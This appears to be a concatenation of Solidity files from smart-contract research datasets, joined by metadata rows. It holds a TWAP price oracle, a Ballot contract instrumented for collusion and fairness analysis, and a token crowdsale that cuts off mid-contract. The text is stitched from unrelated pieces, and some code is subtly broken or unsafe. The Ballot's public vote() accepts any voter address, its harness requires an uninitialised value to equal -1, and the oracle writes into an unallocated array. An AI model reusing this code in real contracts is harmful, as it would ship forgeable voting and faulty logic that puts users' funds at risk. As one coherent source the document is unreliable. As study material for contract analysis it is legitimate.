uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
}
library BlueBerryOracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(address pair) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
price0Cumulative = ICheeseSwapPair(pair).price0CumulativeLast();
price1Cumulative = ICheeseSwapPair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = ICheeseSwapPair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library CheeseSwapLibrary {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'CheeseSwapLibrary: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'CheeseSwapLibrary: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'f52c5189a89e7ca2ef4f19f2798e3900fba7a316de7cef6c5a9446621ba86286' // init code hash))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = ICheeseSwapPair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'CheeseSwapLibrary: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'CheeseSwapLibrary: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'CheeseSwapLibrary: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'CheeseSwapLibrary: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'CheeseSwapLibrary: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'CheeseSwapLibrary: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'CheeseSwapLibrary: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'CheeseSwapLibrary: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
interface IKeep3rb {
function isKeeper(address) external returns (bool);
function worked(address keeper) external;
}
contract BlueBerryOracle {
using FixedPoint for *;
using SafeMath for uint;
struct Observation {
uint timestamp;
uint price0Cumulative;
uint price1Cumulative;
}
modifier keeper() {
require(KP3RB.isKeeper(msg.sender), "::isKeeper: keeper is not registered");
_;
}
modifier upkeep() {
require(KP3RB.isKeeper(msg.sender), "::isKeeper: keeper is not registered");
_;
KP3RB.worked(msg.sender);
}
address public governance;
address public pendingGovernance;
function setGovernance(address _governance) external {
require(msg.sender == governance, "setGovernance: !gov");
pendingGovernance = _governance;
}
function acceptGovernance() external {
require(msg.sender == pendingGovernance, "acceptGovernance: !pendingGov");
governance = pendingGovernance;
}
function setKeep3rb(address _keep3rb) external {
require(msg.sender == governance, "setKeep3rb: !gov");
KP3RB = IKeep3rb(_keep3rb);
}
IKeep3rb public KP3RB;
address public immutable factory = 0xdd538E4Fd1b69B7863E1F741213276A6Cf1EfB3B;
uint public immutable windowSize = 960;
uint8 public immutable granularity = 8;
uint public immutable periodSize = 120;
address[] internal _pairs;
mapping(address => bool) internal _known;
mapping(address => uint) public lastUpdated;
function pairs() external view returns (address[] memory) {
return _pairs;
}
mapping(address => Observation[]) public pairObservations;
constructor(address _keep3rb) public {
governance = msg.sender;
KP3RB = IKeep3rb(_keep3rb);
}
// returns the index of the observation corresponding to the given timestamp
function observationIndexOf(uint timestamp) public view returns (uint8 index) {
uint epochPeriod = timestamp / periodSize;
return uint8(epochPeriod % granularity);
}
function getFirstObservationInWindow(address pair) private view returns (Observation storage firstObservation) {
uint8 observationIndex = observationIndexOf(block.timestamp);
// no overflow issue. if observationIndex + 1 overflows, result is still zero.
uint8 firstObservationIndex = (observationIndex + 1) % granularity;
firstObservation = pairObservations[pair][firstObservationIndex];
}
function updatePair(address pair) external keeper returns (bool) {
return _update(pair);
}
// once per epoch period.
function update(address tokenA, address tokenB) external keeper returns (bool) {
address pair = CheeseSwapLibrary.pairFor(factory, tokenA, tokenB);
return _update(pair);
}
function add(address tokenA, address tokenB) external {
require(msg.sender == governance, "BlueBerryOracle::add: !gov");
address pair = CheeseSwapLibrary.pairFor(factory, tokenA, tokenB);
require(!_known[pair], "known");
_known[pair] = true;
_pairs.push(pair);
}
function work() public upkeep {
bool worked = _updateAll();
require(worked, "BlueBerryOracle: !work");
}
function _updateAll() internal returns (bool updated) {
for (uint i = 0; i < _pairs.length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateFor(uint i, uint length) external keeper returns (bool updated) {
for (; i < length; i++) {
if (_update(_pairs[i])) {
updated = true;
}
}
}
function updateableList() external view returns (address[] memory list) {
uint _index = 0;
for (uint i = 0; i < _pairs.length; i++) {
if (updateable(_pairs[i])) {
list[_index++] = _pairs[i];
}
}
}
function updateable(address pair) public view returns (bool) {
return (block.timestamp - lastUpdated[pair]) > periodSize;
}
function updateable() external view returns (bool) {
for (uint i = 0; i < _pairs.length; i++) {
if (updateable(_pairs[i])) {
return true;
}
}
return false;
}
function updateableFor(uint i, uint length) external view returns (bool) {
for (; i < length; i++) {
if (updateable(_pairs[i])) {
return true;
}
}
return false;
}
function _update(address pair) internal returns (bool) {
// populate the array with empty observations (first call only)
for (uint i = pairObservations[pair].length; i < granularity; i++) {
pairObservations[pair].push();
}
// get the observation for the current period
uint8 observationIndex = observationIndexOf(block.timestamp);
Observation storage observation = pairObservations[pair][observationIndex];
// we only want to commit updates once per period (i.e. windowSize / granularity)
uint timeElapsed = block.timestamp - observation.timestamp;
if (timeElapsed > periodSize) {
(uint price0Cumulative, uint price1Cumulative,) = BlueBerryOracleLibrary.currentCumulativePrices(pair);
observation.timestamp = block.timestamp;
lastUpdated[pair] = block.timestamp;
observation.price0Cumulative = price0Cumulative;
observation.price1Cumulative = price1Cumulative;
return true;
}
return false;
}
// price in terms of how much amount out is received for the amount in
function computeAmountOut(uint priceCumulativeStart, uint priceCumulativeEnd,
uint timeElapsed, uint amountIn) private pure returns (uint amountOut) {
// overflow is desired.
FixedPoint.uq112x112 memory priceAverage = FixedPoint.uq112x112(uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed));
amountOut = priceAverage.mul(amountIn).decode144();
}
function consult(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut) {
address pair = CheeseSwapLibrary.pairFor(factory, tokenIn, tokenOut);
Observation storage firstObservation = getFirstObservationInWindow(pair);
uint timeElapsed = block.timestamp - firstObservation.timestamp;
require(timeElapsed <= windowSize, 'SlidingWindowOracle: MISSING_HISTORICAL_OBSERVATION');
// should never happen.
require(timeElapsed >= windowSize - periodSize * 2, 'SlidingWindowOracle: UNEXPECTED_TIME_ELAPSED');
(uint price0Cumulative, uint price1Cumulative,) = BlueBerryOracleLibrary.currentCumulativePrices(pair);
(address token0,) = CheeseSwapLibrary.sortTokens(tokenIn, tokenOut);
if (token0 == tokenIn) {
return computeAmountOut(firstObservation.price0Cumulative, price0Cumulative, timeElapsed, amountIn);
} else {
return computeAmountOut(firstObservation.price1Cumulative, price1Cumulative, timeElapsed, amountIn);
}
}
}
| 256,947 | 11,340 |
f05c4bcdcde2b0eb9cf16afe59bf43c9e79d2528e380b8e4d83656daa355e28b
| 14,033 |
.sol
|
Solidity
| false |
266261447
|
ntu-SRSLab/FairCon
|
5246f029f2ae545a070502f741fcfded42e61b64
|
contracts/experiment/voting-0-1/collusion/Ballot-0xfce2e88f90927d5e5a539f1c223a6c6eeadb6cff.sol
| 3,724 | 12,915 |
pragma solidity >=0.4.0;
contract Ballot {
struct Voter {
uint weight;
bool voted;
uint8 vote;
address delegate;
}
struct Proposal {
uint voteCount;
}
address chairperson;
mapping(address => Voter) voters;
Proposal[] proposals;
/// Create a new ballot with $(_numProposals) different proposals.
constructor(uint8 _numProposals) public {
chairperson = msg.sender;
voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
/// Give $(toVoter) the right to vote on this ballot.
/// May only be called by $(chairperson).
function giveRightToVote(address toVoter) public {
if (msg.sender != chairperson || voters[toVoter].voted) return;
voters[toVoter].weight = 1;
}
/// Delegate your vote to the voter $(to).
function delegate(address to) public {
Voter storage sender = voters[msg.sender]; // assigns reference
if (sender.voted) return;
while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender)
to = voters[to].delegate;
if (to == msg.sender) return;
sender.voted = true;
sender.delegate = to;
Voter storage delegateTo = voters[to];
if (delegateTo.voted)
proposals[delegateTo.vote].voteCount += sender.weight;
else
delegateTo.weight += sender.weight;
}
/// Give a single vote to proposal $(toProposal).
function vote(address msg_sender, uint8 toProposal) public {
if (voters[msg_sender].voted || toProposal >= proposals.length) return;
voters[msg_sender].voted = true;
voters[msg_sender].vote = toProposal;
proposals[toProposal].voteCount += voters[msg_sender].weight;
}
function winningProposal() public returns (uint8 _winningProposal) {
uint256 winningVoteCount = 0;
for (uint8 prop = 0; prop < proposals.length; prop++)
if (proposals[prop].voteCount > winningVoteCount) {
winningVoteCount = proposals[prop].voteCount;
_winningProposal = prop;
}
}
function newProposal(uint8 _numProposals) public {
// chairperson = msg.sender;
// voters[chairperson].weight = 1;
proposals.length = _numProposals;
}
mapping(address=>uint) utilities;
mapping(address=>uint) benefits;
function sse_winner(int a) public view {}
function sse_revenue(uint a) public view {}
function sse_utility(uint a) public view {}
function sse_maximize(uint a) public view {}
function sse_minimize(uint a) public view {}
function sse_truthful_violate_check(uint u, uint8 a, uint8 b) public view {}
function sse_collusion_violate_check(uint u12, uint v1, uint v_1, uint v2, uint v_2) public view{}
function sse_efficient_expectation_register(address allocation, address player, uint benefit) public view {}
function sse_efficient_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function sse_optimal_violate_check(uint benefit, address allocation, address other_allocation) public view {}
function _Main_(address payable msg_sender1, uint8 p1, uint p1_value, uint p1_rv_value, uint8 msg_value1,
address payable msg_sender2, uint8 p2, uint p2_value, uint p2_rv_value, uint8 msg_value2,
address payable msg_sender3, uint8 p3, uint p3_value, uint p3_rv_value, uint8 msg_value3,
address payable msg_sender4, uint8 p4, uint p4_value, uint p4_rv_value, uint8 msg_value4,
address payable msg_sender5, uint8 p5, uint p5_value, uint p5_rv_value, uint8 msg_value5) public {
require(!(msg_sender1==msg_sender2 || msg_sender1 == msg_sender3 || msg_sender2 == msg_sender3));
require(!(msg_sender1==msg_sender4 || msg_sender2 == msg_sender4 || msg_sender3 == msg_sender4));
require(!(msg_sender1==msg_sender5 || msg_sender2 == msg_sender5 || msg_sender3 == msg_sender5));
require(!(msg_sender4==msg_sender5));
require(p1_value==1&&p1_value > p1_rv_value && p1_rv_value ==0);
require(p2_value==1&&p2_value > p2_rv_value && p2_rv_value ==0);
require(p3_value==1&&p3_value > p3_rv_value && p3_rv_value ==0);
require(p4_value==1&&p4_value > p4_rv_value && p4_rv_value ==0);
require(p5_value==1&&p5_value > p5_rv_value && p5_rv_value ==0);
require(p1 ==0||p1==1);
require(p2 ==0||p2==1);
require(p3 ==0||p3==1);
require(p4 ==0||p4==1);
require(p5 ==0||p5==1);
require(msg_value1 ==0||msg_value1==1);
require(msg_value2 ==0||msg_value2==1);
require(msg_value3 ==0||msg_value3==1);
require(msg_value4 ==0||msg_value4==1);
require(msg_value5 ==0||msg_value5==1);
int winner;
require(winner==-1);
require(utilities[msg_sender1] == 0);
require(utilities[msg_sender2] == 0);
require(utilities[msg_sender3] == 0);
require(utilities[msg_sender4] == 0);
require(utilities[msg_sender5] == 0);
// require(msg_value1!=p1);
require(msg_value2==p2);
require(msg_value3==p3);
require(msg_value4==p4);
require(msg_value5==p5);
// new proposal first
newProposal(2);
require(proposals[0].voteCount == 0);
require(proposals[1].voteCount == 0);
// votes
vote(msg_sender1,msg_value1);
vote(msg_sender2,msg_value2);
vote(msg_sender3,msg_value3);
vote(msg_sender4,msg_value4);
vote(msg_sender5,msg_value5);
//execute Proposal
winner = winningProposal();
assert(winner==0 || winner == 1);
if (winner == msg_value1){
if (msg_value1 == p1){
utilities[msg_sender1] = p1_value;
}else{
utilities[msg_sender1] = p1_rv_value;
}
}
if (winner == msg_value2){
if (msg_value2 == p2){
utilities[msg_sender2] = p2_value;
}else{
utilities[msg_sender2] = p2_rv_value;
}
}
if (winner == msg_value3){
if (msg_value3 == p3){
utilities[msg_sender3] = p3_value;
}else{
utilities[msg_sender3] = p3_rv_value;
}
}
if (winner== msg_value4){
if (msg_value4 == p4){
utilities[msg_sender4] = p4_value;
}else{
utilities[msg_sender4] = p4_rv_value;
}
}
if (winner == msg_value5){
if (msg_value5 == p5){
utilities[msg_sender5] = p5_value;
}else{
utilities[msg_sender5] = p5_rv_value;
}
}
sse_utility(utilities[msg_sender1]);
sse_utility(utilities[msg_sender2]);
sse_utility(utilities[msg_sender3]);
sse_utility(utilities[msg_sender4]);
sse_utility(utilities[msg_sender5]);
sse_winner(winner);
sse_collusion_violate_check(utilities[msg_sender1],msg_value1, p1, msg_value2, p2);
}
}
// contract Rewrite{
// struct Vote {
// bool inSupport;
// address voter;
// }
// struct Proposal {
// uint voteCount;
// }
// Proposal[] proposals;
// uint voteCount;
// function newProposal() public{
// proposal.executed = false;
// proposal.proposalPassed = false;
// proposal.numberOfVotes = 0;
// }
// function vote(address msg_sender, bool supportsProposal) public{
// require(proposal.voted[msg_sender] != true);
// // proposal.votes[voteCount] = Vote({inSupport: supportsProposal, voter: msg_sender});
// proposal.votes[voteCount].inSupport = supportsProposal;
// proposal.votes[voteCount].voter = msg_sender;
// proposal.voted[msg_sender] = true;
// proposal.numberOfVotes = ++voteCount;
// }
// function executeProposal() public {
// uint quorum = 0;
// uint yea = 0;
// uint nay = 0;
// for (uint i = 0; i < voteCount; ++i) {
// uint voteWeight = 1;
// quorum += voteWeight;
// if (proposal.votes[i].inSupport) {
// yea += voteWeight;
// } else {
// nay += voteWeight;
// }
// }
// if (yea > nay) {
// // Proposal passed; execute the transaction
// proposal.proposalPassed = true;
// } else {
// // Proposal failed
// proposal.proposalPassed = false;
// }
// proposal.executed = true;
// }
// mapping(address=>uint) utilities;
// mapping(address=>uint) benefits;
// function sse_winner(address a) public view {}
// function sse_revenue(uint a) public view {}
// function sse_utility(uint a) public view {}
// function sse_maximize(uint a) public view {}
// function sse_minimize(uint a) public view {}
// function sse_truthful_violate_check(uint u, bool a, bool b) public view {}
// address payable msg_sender2, bool p2, uint p2_value, uint p2_rv_value, bool msg_value2,
// address payable msg_sender3, bool p3, uint p3_value, uint p3_rv_value, bool msg_value3,
// address payable msg_sender4, bool p4, uint p4_value, uint p4_rv_value, bool msg_value4,
// require(!(msg_sender4==msg_sender5));
// require(p1_value > p1_rv_value && p1_rv_value > 0);
// require(p2_value > p2_rv_value && p2_rv_value > 0);
// require(p3_value > p3_rv_value && p3_rv_value > 0);
// require(p4_value > p4_rv_value && p4_rv_value > 0);
// require(p5_value > p5_rv_value && p5_rv_value > 0);
// require(voteCount==0);
// require(utilities[msg_sender1] == 0);
// require(utilities[msg_sender2] == 0);
// require(utilities[msg_sender3] == 0);
// require(utilities[msg_sender4] == 0);
// require(utilities[msg_sender5] == 0);
// // require(msg_value1!=p1);
// require(msg_value2==p2);
// require(msg_value3==p3);
// require(msg_value2==p4);
// require(msg_value3==p5);
// // new proposal first
// newProposal();
// // votes
// vote(msg_sender1, msg_value1);
// vote(msg_sender2, msg_value2);
// vote(msg_sender3, msg_value3);
// vote(msg_sender4, msg_value4);
// vote(msg_sender5, msg_value5);
// //execute Proposal
// executeProposal();
// // assert(msg_sender3 == winner);
// assert(proposal.executed == true);
// if (proposal.proposalPassed == msg_value1){
// if (msg_value1 == p1){
// utilities[msg_sender1] = p1_value;
// }else{
// utilities[msg_sender1] = p1_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value2){
// if (msg_value2 == p2){
// utilities[msg_sender2] = p2_value;
// }else{
// utilities[msg_sender2] = p2_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value3){
// if (msg_value1 == p3){
// utilities[msg_sender3] = p3_value;
// }else{
// utilities[msg_sender3] = p3_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value1){
// if (msg_value1 == p4){
// utilities[msg_sender4] = p4_value;
// }else{
// utilities[msg_sender4] = p4_rv_value;
// }
// }
// if (proposal.proposalPassed == msg_value1){
// if (msg_value5 == p5){
// utilities[msg_sender5] = p5_value;
// }else{
// utilities[msg_sender5] = p5_rv_value;
// }
// }
// sse_utility(utilities[msg_sender1]);
// sse_utility(utilities[msg_sender2]);
// sse_utility(utilities[msg_sender3]);
// sse_utility(utilities[msg_sender4]);
// sse_utility(utilities[msg_sender5]);
// sse_truthful_violate_check(utilities[msg_sender1],msg_value1, p1);
// }
// }
| 242,334 | 11,341 |
2f31ad8c1233e4bf343dbb422c3933084695403324b5f7c2562035e012f5a10f
| 18,795 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa9d3f3bc16a971fe51a02aa6f8a75f569693e415.sol
| 3,607 | 16,123 |
pragma solidity ^0.4.23;
// File: contracts/Utils/Math.sol
library MathUtils {
function add(uint a, uint b) internal pure returns (uint) {
uint result = a + b;
if (a == 0 || b == 0) {
return result;
}
require(result > a && result > b);
return result;
}
function sub(uint a, uint b) internal pure returns (uint) {
require(a >= b);
return a - b;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint result = a * b;
require(result / a == b);
return result;
}
}
// File: contracts/Utils/Ownable.sol
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
function isOwner() view public returns (bool) {
return msg.sender == owner;
}
modifier grantOwner {
require(isOwner());
_;
}
}
// File: contracts/Crowdsale/CrowdsaleToken.sol
interface CrowdsaleToken {
function transfer(address destination, uint amount) external returns (bool);
function balanceOf(address account) external view returns (uint);
function burn(uint amount) external;
}
// File: contracts/Crowdsale/CryptoPoliceCrowdsale.sol
contract CryptoPoliceCrowdsale is Ownable {
using MathUtils for uint;
enum CrowdsaleState {
Pending, Started, Ended, Paused, SoldOut
}
struct ExchangeRate {
uint tokens;
uint price;
}
struct Participant {
bool identified;
uint processedDirectWeiAmount;
uint processedExternalWeiAmount;
uint suspendedDirectWeiAmount;
uint suspendedExternalWeiAmount;
}
event ExternalPaymentReminder(uint weiAmount, bytes32 paymentChecksum);
event PaymentSuspended(address participant);
event PaymentProcessed(uint weiAmount, address participant, bytes32 paymentChecksum, uint tokenAmount);
uint public constant THRESHOLD1 = 270000000e18;
uint public constant THRESHOLD2 = 350000000e18;
uint public constant THRESHOLD3 = 490000000e18;
uint public constant THRESHOLD4 = 510000000e18;
uint public constant RELEASE_THRESHOLD = 27000500e18;
address public admin;
uint public tokensSold;
uint public minSale = 0.01 ether;
uint public suspendedPayments = 0;
CrowdsaleToken public token;
CrowdsaleState public state = CrowdsaleState.Pending;
ExchangeRate[4] public exchangeRates;
bool public crowdsaleEndedSuccessfully = false;
uint public unidentifiedSaleLimit = 1 ether;
mapping(address => Participant) public participants;
mapping(bytes32 => string) public externalPaymentDescriptions;
mapping(address => bytes32[]) public participantExternalPaymentChecksums;
mapping(address => bytes32[]) public participantSuspendedExternalPaymentChecksums;
mapping(bytes32 => uint) public suspendedExternalPayments;
mapping(address => bool) public bannedParticipants;
bool public revertSuspendedPayment = false;
function () public payable {
if (state == CrowdsaleState.Ended) {
msg.sender.transfer(msg.value);
refundParticipant(msg.sender);
} else {
require(state == CrowdsaleState.Started, "Crowdsale currently inactive");
processPayment(msg.sender, msg.value, "");
}
}
function exchangeCalculator(uint salePosition, uint _paymentReminder, uint _processedTokenCount)
internal view returns (uint paymentReminder, uint processedTokenCount, bool soldOut)
{
uint threshold = getTreshold(salePosition);
ExchangeRate memory currentExchangeRate = getExchangeRate(threshold);
// how many round number of portions are left for exchange
uint availablePortions = (threshold - salePosition) / currentExchangeRate.tokens;
// this indicates that there are no leftover tokens that can be exchanged
// without stepping over threshold
if (availablePortions == 0) {
if (threshold == THRESHOLD4) {
return (_paymentReminder, _processedTokenCount, true);
}
// move sale position to current threshold
return exchangeCalculator(threshold, _paymentReminder, _processedTokenCount);
}
uint requestedPortions = _paymentReminder / currentExchangeRate.price;
uint portions = requestedPortions > availablePortions ? availablePortions : requestedPortions;
uint newProcessedTokenCount = _processedTokenCount + portions * currentExchangeRate.tokens;
uint newPaymentReminder = _paymentReminder - portions * currentExchangeRate.price;
uint newSalePosition = salePosition + newProcessedTokenCount;
if (newPaymentReminder < currentExchangeRate.price) {
return (newPaymentReminder, newProcessedTokenCount, false);
}
return exchangeCalculator(newSalePosition, newPaymentReminder, newProcessedTokenCount);
}
function processPayment(address participant, uint payment, bytes32 externalPaymentChecksum) internal {
require(payment >= minSale, "Payment must be greather or equal to sale minimum");
require(bannedParticipants[participant] == false, "Participant is banned");
uint paymentReminder;
uint processedTokenCount;
bool soldOut;
(paymentReminder, processedTokenCount, soldOut) = exchangeCalculator(tokensSold, payment, 0);
// how much was actually spent from this payment
uint spent = payment - paymentReminder;
bool directPayment = externalPaymentChecksum == "";
if (participants[participant].identified == false) {
// how much participant has spent in crowdsale so far
uint spendings = participants[participant].processedDirectWeiAmount
.add(participants[participant].processedExternalWeiAmount).add(spent);
bool hasSuspendedPayments = participants[participant].suspendedDirectWeiAmount > 0 || participants[participant].suspendedExternalWeiAmount > 0;
// due to fluctuations of unidentified payment limit, it might not be reached
// suspend current payment if participant currently has suspended payments or limit reached
if (hasSuspendedPayments || spendings > unidentifiedSaleLimit) {
require(revertSuspendedPayment == false, "Participant does not comply with KYC");
suspendedPayments = suspendedPayments + payment;
if (directPayment) {
participants[participant].suspendedDirectWeiAmount = participants[participant].suspendedDirectWeiAmount.add(payment);
} else {
participantSuspendedExternalPaymentChecksums[participant].push(externalPaymentChecksum);
participants[participant].suspendedExternalWeiAmount = participants[participant].suspendedExternalWeiAmount.add(payment);
suspendedExternalPayments[externalPaymentChecksum] = payment;
}
emit PaymentSuspended(participant);
return;
}
}
// unspent reminder must be returned back to participant
if (paymentReminder > 0) {
if (directPayment) {
participant.transfer(paymentReminder);
} else {
emit ExternalPaymentReminder(paymentReminder, externalPaymentChecksum);
}
}
if (directPayment) {
participants[participant].processedDirectWeiAmount = participants[participant].processedDirectWeiAmount.add(spent);
} else {
participants[participant].processedExternalWeiAmount = participants[participant].processedExternalWeiAmount.add(spent);
}
require(token.transfer(participant, processedTokenCount), "Failed to transfer tokens");
if (soldOut) {
state = CrowdsaleState.SoldOut;
}
tokensSold = tokensSold + processedTokenCount;
emit PaymentProcessed(spent, participant, externalPaymentChecksum, processedTokenCount);
}
function proxyExchange(address beneficiary, uint payment, string description, bytes32 checksum)
public grantOwnerOrAdmin
{
require(beneficiary != address(0), "Beneficiary not specified");
require(bytes(description).length > 0, "Description not specified");
require(checksum.length > 0, "Checksum not specified");
// make sure that payment has not been processed yet
require(bytes(externalPaymentDescriptions[checksum]).length == 0, "Payment already processed");
processPayment(beneficiary, payment, checksum);
externalPaymentDescriptions[checksum] = description;
participantExternalPaymentChecksums[beneficiary].push(checksum);
}
function startCrowdsale(address crowdsaleToken, address adminAddress) public grantOwner {
require(state == CrowdsaleState.Pending);
setAdmin(adminAddress);
token = CrowdsaleToken(crowdsaleToken);
require(token.balanceOf(address(this)) == 510000000e18);
state = CrowdsaleState.Started;
}
function pauseCrowdsale() public grantOwnerOrAdmin {
require(state == CrowdsaleState.Started);
state = CrowdsaleState.Paused;
}
function unPauseCrowdsale() public grantOwnerOrAdmin {
require(state == CrowdsaleState.Paused);
state = CrowdsaleState.Started;
}
function endCrowdsale(bool success) public grantOwner notEnded {
state = CrowdsaleState.Ended;
crowdsaleEndedSuccessfully = success;
uint balance = address(this).balance;
if (success && balance > 0) {
uint amount = balance.sub(suspendedPayments);
owner.transfer(amount);
}
}
function markParticipantIdentifiend(address participant) public grantOwnerOrAdmin notEnded {
participants[participant].identified = true;
if (participants[participant].suspendedDirectWeiAmount > 0) {
processPayment(participant, participants[participant].suspendedDirectWeiAmount, "");
suspendedPayments = suspendedPayments.sub(participants[participant].suspendedDirectWeiAmount);
participants[participant].suspendedDirectWeiAmount = 0;
}
if (participants[participant].suspendedExternalWeiAmount > 0) {
bytes32[] storage checksums = participantSuspendedExternalPaymentChecksums[participant];
for (uint i = 0; i < checksums.length; i++) {
processPayment(participant, suspendedExternalPayments[checksums[i]], checksums[i]);
suspendedExternalPayments[checksums[i]] = 0;
}
participants[participant].suspendedExternalWeiAmount = 0;
participantSuspendedExternalPaymentChecksums[participant] = new bytes32[](0);
}
}
function unidentifyParticipant(address participant) public grantOwnerOrAdmin notEnded {
participants[participant].identified = false;
}
function returnSuspendedPayments(address participant) public grantOwnerOrAdmin {
returnDirectPayments(participant, false, true);
returnExternalPayments(participant, false, true);
}
function updateUnidentifiedSaleLimit(uint limit) public grantOwnerOrAdmin notEnded {
unidentifiedSaleLimit = limit;
}
function updateMinSale(uint weiAmount) public grantOwnerOrAdmin {
minSale = weiAmount;
}
function refundParticipant(address participant) internal {
require(state == CrowdsaleState.Ended);
require(crowdsaleEndedSuccessfully == false);
returnDirectPayments(participant, true, true);
returnExternalPayments(participant, true, true);
}
function refund(address participant) public grantOwner {
refundParticipant(participant);
}
function burnLeftoverTokens(uint8 percentage) public grantOwner {
require(state == CrowdsaleState.Ended);
require(percentage <= 100 && percentage > 0);
uint balance = token.balanceOf(address(this));
if (balance > 0) {
uint amount = balance / (100 / percentage);
token.burn(amount);
}
}
function updateExchangeRate(uint8 idx, uint tokens, uint price) public grantOwnerOrAdmin {
require(tokens > 0 && price > 0);
require(idx >= 0 && idx <= 3);
exchangeRates[idx] = ExchangeRate({
tokens: tokens,
price: price
});
}
function ban(address participant) public grantOwnerOrAdmin {
bannedParticipants[participant] = true;
}
